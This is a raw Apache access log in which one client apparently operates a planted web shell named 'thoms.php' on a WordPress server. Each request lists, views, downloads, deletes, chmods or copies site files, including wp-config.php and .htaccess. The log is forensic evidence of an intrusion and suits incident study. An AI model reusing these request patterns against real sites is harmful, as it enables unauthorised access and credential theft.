45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?chmod=wp-admin&p=bfl.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /thoms.php?chmod=wp-content&p=bfl.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:19 -0400] "GET /bfl.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?dl=.htaccess&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?p=bfl.com.tw&view=mah.php HTTP/1.1" 200 11803 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13300 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "https://163.245.207.76:443/bfl.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bfl.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?p=bfl.com.tw&view=.htaccess HTTP/1.1" 200 12719 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13263 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?dl=locoy.php&p=bfl.com.tw HTTP/1.1" 200 17318 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12000 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?dl=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /bfl.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:20 -0400] "GET /thoms.php?chmod=queue-failed&p=bfl.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=queue-failed&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?del=locoy.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?dl=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59010 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?p=bfl.com.tw&view=xmlrpc.php HTTP/1.1" 200 13374 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12590 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /bfl.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /bfl.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13621 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?dl=wp-signup.php&p=bfl.com.tw HTTP/1.1" 200 17331 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /thoms.php?dl=thoms.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bfl.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:21 -0400] "GET /bfl.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-config.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bfl.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /bfl.com.tw/wp-login.php HTTP/1.1" 404 21735 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?p=bfl.com.tw&view=error_log HTTP/1.1" 200 13863 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:22 -0400] "GET /thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw HTTP/1.1" 200 11423 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Findex.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?p=bfl.com.tw&upload= HTTP/1.1" 200 12151 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?dl=error_log&p=bfl.com.tw HTTP/1.1" 200 17329 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?p=bfl.com.tw&view=index.php HTTP/1.1" 200 12023 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28928 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-login.php HTTP/1.1" 200 29025 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?p=bfl.com.tw&view=wp-signup.php HTTP/1.1" 200 22506 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?del=wp-mail.php&p=bfl.com.tw HTTP/1.1" 200 17330 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?chmod=.htaccess&p=bfl.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bfl.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?del=termps.php&p=upgrade HTTP/1.1" 200 13533 "http://163.245.207.76:443/thoms.php?del=termps.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?copy=upgrade%2Ftxets.php&p=upgrade HTTP/1.1" 200 11290 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftxets.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:23 -0400] "GET /thoms.php?chmod=.htaccess&p=upgrade HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /upgrade/index.php HTTP/1.1" 200 6421 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?del=index.php&p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?del=index.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?chmod=postnews.php&p=upgrade HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?dl=postnews.php&p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?dl=index.php&p=upgrade HTTP/1.1" 200 13533 "http://163.245.207.76:443/thoms.php?dl=index.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?copy=upgrade%2Fpostnews.php&p=upgrade HTTP/1.1" 200 11313 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Fpostnews.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?p=upgrade&view=postnews.php HTTP/1.1" 200 11803 "http://163.245.207.76:443/thoms.php?p=upgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?del=postnews.php&p=upgrade HTTP/1.1" 200 13512 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?dl=.htaccess&p=upgrade HTTP/1.1" 200 13524 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?chmod=admin.php&p=upgrade HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?p=upgrade&view=termps.php HTTP/1.1" 200 11799 "http://163.245.207.76:443/thoms.php?p=upgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?dl=termps.php&p=upgrade HTTP/1.1" 200 13526 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:24 -0400] "GET /thoms.php?dl=admin.php&p=upgrade HTTP/1.1" 200 13526 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?copy=upgrade%2Ftermps.php&p=upgrade HTTP/1.1" 200 11277 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Ftermps.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&view=admin.php HTTP/1.1" 200 38731 "http://163.245.207.76:443/thoms.php?p=upgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?chmod=index.php&p=upgrade HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?chmod=termps.php&p=upgrade HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?del=txets.php&p=upgrade HTTP/1.1" 200 13532 "http://163.245.207.76:443/thoms.php?del=txets.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?dl=txets.php&p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&upload= HTTP/1.1" 200 12160 "http://163.245.207.76:443/thoms.php?p=upgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&view=.htaccess HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?p=upgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&view=index.php HTTP/1.1" 200 11807 "http://163.245.207.76:443/thoms.php?p=upgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&view=txets.php HTTP/1.1" 200 11800 "http://163.245.207.76:443/thoms.php?p=upgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?p=upgrade&settings=1 HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?p=upgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?copy=upgrade%2F.htaccess&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=upgrade%2F.htaccess&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /upgrade/ HTTP/1.1" 200 6440 "https://163.245.207.76:443/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:25 -0400] "GET /thoms.php?copy=upgrade%2Findex.php&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=upgrade%2Findex.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:26 -0400] "GET /thoms.php?chmod=txets.php&p=upgrade HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
